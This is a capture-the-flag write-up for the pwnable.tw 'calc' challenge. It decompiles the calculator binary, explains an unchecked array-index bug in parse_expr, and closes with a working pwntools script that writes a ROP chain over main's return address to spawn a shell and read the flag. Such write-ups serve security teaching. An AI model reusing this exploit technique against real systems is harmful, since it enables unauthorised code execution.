This program lets you do math to numbers. It seems to be more secure then the last:
Note the stack canaries; unless we have a leak, we can’t just overflow everything up to the return address. We also can’t jump to the stack. However, notice that this binary doesn’t have PIE enabled, making ROP gadgets extremely easy to locate. After decompiling the binary in Ghidra, it’s evident that the calc
function does the heavy lifting. There’s also an alarm that sets a time limit, although I suspect this is just to keep idle sessions from cluttering the server.
Looking at calc
, it looks like get_expr
gets user input, and parse_expr
parses it (who would have guessed!?). get_expr
reads byte by byte, limiting our input by length of the second operand of the function, which is 1024. No easy buffer overflow for us.
Naturally, the next place to look is parse_expr
. It’s a bit overwhelming at first, so I fuzzed to find an exploit. We’ll return to it later.
Feeling lazy, I tried typing some random values into the calculator. Pretty quickly, I found myself several inputs that caused trouble. Notice the pattern?
These values seemed to cause problems at different parts of the code. -8-1 overwrote a return value (very promising!), but the other two caused trouble at instruction 0x8049160
, which used the specified value as an index offset (see line 39 in parse_expr). In all situations the byte that was written was the second operand. This strange behavior made it seem like the address we write to is effected by the values we put in. To test this theory, I used some mnemonic values.
+1+12345 resulted in the integer 12345 being stored in 0xffffccc0
.
+10+67890 resulted in the integer 67890 being stored in 0xffffccc4
Why is this happening? Well, it seems like the first value is being used as an index to an array of integers. Unsurprisingly, the way C deals with arrays is:
mov (type size) ptr [edx + (eax * type size) + (type size)]
where edx
is the base of the array, and eax
is the index. In other words, address = base + (4 * index) + 4
. Using the examples above, we can do some math to discover the base is 0xffffccb8
. Plugging in our base and first operand as the index, we can confirm our findings, and write to any byte we want relative to where ever the array is on the server’s stack. The fact this is relative to a location in the stack helps immensely, as the server’s stack is likely to be located in a different address. Upon further inspection, I found that function is what enables us to control the index.
Before eval
is called, int_array is populated with three integers. The first integer is the number of operands, used as index-1, the second is the first operand, and the third is the second operand. So 4+5 would result in int_array
containing this:
However, if we start with a operator, say +20+7, the array looks like this.
eval
will be called a second time with our desired index.
This is the decompiled code for parse_expr
, which creates this array and calls eval
. number_structs
is passed to eval
as the first parameter.
1 undefined4 parse_expr(void *number_buffer_input,int *number_structs)
2
3 {
4 char *opperand_buffer_heap;
5 undefined4 reuturn_code;
6 int converted_operand;
7 size_t operand_size;
8 int in_GS_OFFSET;
9 void *number_buffer_input_location;
10 int index;
11 int operand_index;
12 char operand_buffer [100];
13 int canary_check;
14 int first_number;
15
16 canary_check = *(int *)(in_GS_OFFSET + 0x14);
17 number_buffer_input_location = number_buffer_input;
18 operand_index = 0;
19 bzero(operand_buffer,100);
20 index = 0;
21 do {
22 if (9 < (int)*(char *)((int)number_buffer_input + index) - 0x30U) {
23 operand_size = (int)number_buffer_input + (index - (int)number_buffer_input_location);
24 opperand_buffer_heap = (char *)malloc(operand_size + 1);
25 memcpy(opperand_buffer_heap,number_buffer_input_location,operand_size);
26 opperand_buffer_heap[operand_size] = 0;
27 converted_operand = strcmp(opperand_buffer_heap,"0");
28 if (converted_operand == 0) {
29 puts("prevent division by zero");
30 fflush((FILE *)stdout);
31 reuturn_code = 0;
32 goto LAB_0804935f;
33 }
34 converted_operand = atoi(opperand_buffer_heap);
35 if (0 < converted_operand) {
36 first_number = *number_structs;
37 *number_structs = first_number + 1;
38 number_structs[first_number + 1] = converted_operand;
39 }
40 if ((*(char *)((int)number_buffer_input + index) != 0) &&
41 (9 < (int)*(char *)((int)number_buffer_input + index + 1) - 0x30U)) {
42 puts("expression error!");
43 fflush((FILE *)stdout);
44 reuturn_code = 0;
45 goto LAB_0804935f;
46 }
47 number_buffer_input_location = (void *)((int)number_buffer_input + index + 1);
48 if (operand_buffer[operand_index] == 0) {
49 operand_buffer[operand_index] = *(char *)((int)number_buffer_input + index);
50 }
51 else {
52 switch(*(undefined *)((int)number_buffer_input + index)) {
53 case 0x25:
54 case 0x2a:
55 case 0x2f:
56 if ((operand_buffer[operand_index] == +) || (operand_buffer[operand_index] == -)) {
57 operand_buffer[operand_index + 1] = *(char *)((int)number_buffer_input + index);
58 operand_index = operand_index + 1;
59 }
60 else {
61 eval(number_structs,operand_buffer[operand_index]);
62 operand_buffer[operand_index] = *(char *)((int)number_buffer_input + index);
63 }
64 break;
65 default:
66 eval(number_structs,operand_buffer[operand_index]);
67 operand_index = operand_index + -1;
68 break;
69 case 0x2b:
70 case 0x2d:
71 eval(number_structs,operand_buffer[operand_index]);
72 operand_buffer[operand_index] = *(char *)((int)number_buffer_input + index);
73 }
74 }
75 if (*(char *)((int)number_buffer_input + index) == 0) {
76 while (-1 < operand_index) {
77 eval(number_structs,operand_buffer[operand_index]);
78 operand_index = operand_index + -1;
79 }
80 reuturn_code = 1;
81 LAB_0804935f:
82 if (canary_check != *(int *)(in_GS_OFFSET + 0x14)) {
83 /* WARNING: Subroutine does not return */
84 __stack_chk_fail();
85 }
86 return reuturn_code;
87 }
88 }
89 index = index + 1;
90 } while( true );
91 }
Notice how when testing for an operator on line 22, the program doesn’t check to see if we had a previous number before then. As a result, our first operand will be put into number_structs
on the second call to eval
, which is the bug we’ll use to get a shell.
To get a shell, the first idea that came to mind was to overwrite a .got.plt entry. This won’t work; the program is statically linked. While this sounds like it’s bad, the binary likely has libc built in, with tons of ROP gadgets we can use to get a shell. (nm ./calc confirms this). Sure enough, ROPgadget finds a massive amount of gadgets, enough to tell us how to get a shell automatically with ROPgadget --binary calc --ropchain
.
The main
function isn’t exited until we press enter, so it seems to be the easiest target. We find the location of main
‘s return address on the stack:
We get an offset of 1476 from our array, which, when subtracted then divided by four, gives us 368. As expected, this value will overwrite main’s return address.
In summary, we can move bytes to any location by exploiting a bug in the program that lets control an index to an array. We’ll overwrite main’s reuturn address along with the stack below it to create a rop chain, giving us a shell.
Putting all these things together, here’s a working exploit:
#!/usr/bin/env python3
from pwn import *
context.binary='./calc'
proc = connect("chall.pwnable.tw", 10100)
# the ropchain is reversed because we can only decrease our index offsets.
# ex. we can only do +3+1; +2+1, not +2+1, +3+1.
payload = b''
payload += p32(0x08049a21) # int 0x80
payload += p32(0x0807cb7f) # inc eax ; ret
payload += p32(0x0807cb7f) # inc eax ; ret
payload += p32(0x0807cb7f) # inc eax ; ret
payload += p32(0x0807cb7f) # inc eax ; ret
payload += p32(0x0807cb7f) # inc eax ; ret
payload += p32(0x0807cb7f) # inc eax ; ret
payload += p32(0x0807cb7f) # inc eax ; ret
payload += p32(0x0807cb7f) # inc eax ; ret
payload += p32(0x0807cb7f) # inc eax ; ret
payload += p32(0x0807cb7f) # inc eax ; ret
payload += p32(0x0807cb7f) # inc eax ; ret
payload += p32(0x080550d0) # xor eax, eax ; ret
payload += p32(0x080ec068) # @ .data + 8
payload += p32(0x080701aa) # pop edx ; ret
payload += p32(0x080ec060) # padding without overwrite ebx
payload += p32(0x080ec068) # @ .data + 8
payload += p32(0x080701d1) # pop ecx ; pop ebx ; ret
payload += p32(0x080ec060) # @ .data
payload += p32(0x080481d1) # pop ebx ; ret
payload += p32(0x0809b30d) # mov dword ptr [edx], eax ; ret
payload += p32(0x080550d0) # xor eax, eax ; ret
payload += p32(0x080ec068) # @ .data + 8
payload += p32(0x080701aa) # pop edx ; ret
payload += p32(0x0809b30d) # mov dword ptr [edx], eax ; ret
payload += b'//sh'
payload += p32(0x0805c34b) # pop eax ; ret
payload += p32(0x080ec064) # @ .data + 4
payload += p32(0x080701aa) # pop edx ; ret
payload += p32(0x0809b30d) # mov dword ptr [edx], eax ; ret
payload += b'/bin'
payload += p32(0x0805c34b) # pop eax ; ret
payload += p32(0x080ec060) # @ .data
payload += p32(0x080701aa) # pop edx ; ret
array_index = 368 + int(len(payload) / 4) - 1
for dw in range(0, len(payload), 4):
byte_to_inject = u32(payload[dw:dw+4]) # this is the byte from the payload we print
proc.sendline("+{}+{}".format(array_index, byte_to_inject))
array_index -= 1 # this is the index of the array we have control over
proc.sendline("\ncat /home/calc/flag") # the newline at the front makes us exit the main function
proc.recvuntil("FLAG{")
flag = proc.recvuntilS("}", drop=True)
print("The flag is: {}".format(flag))
Check it out!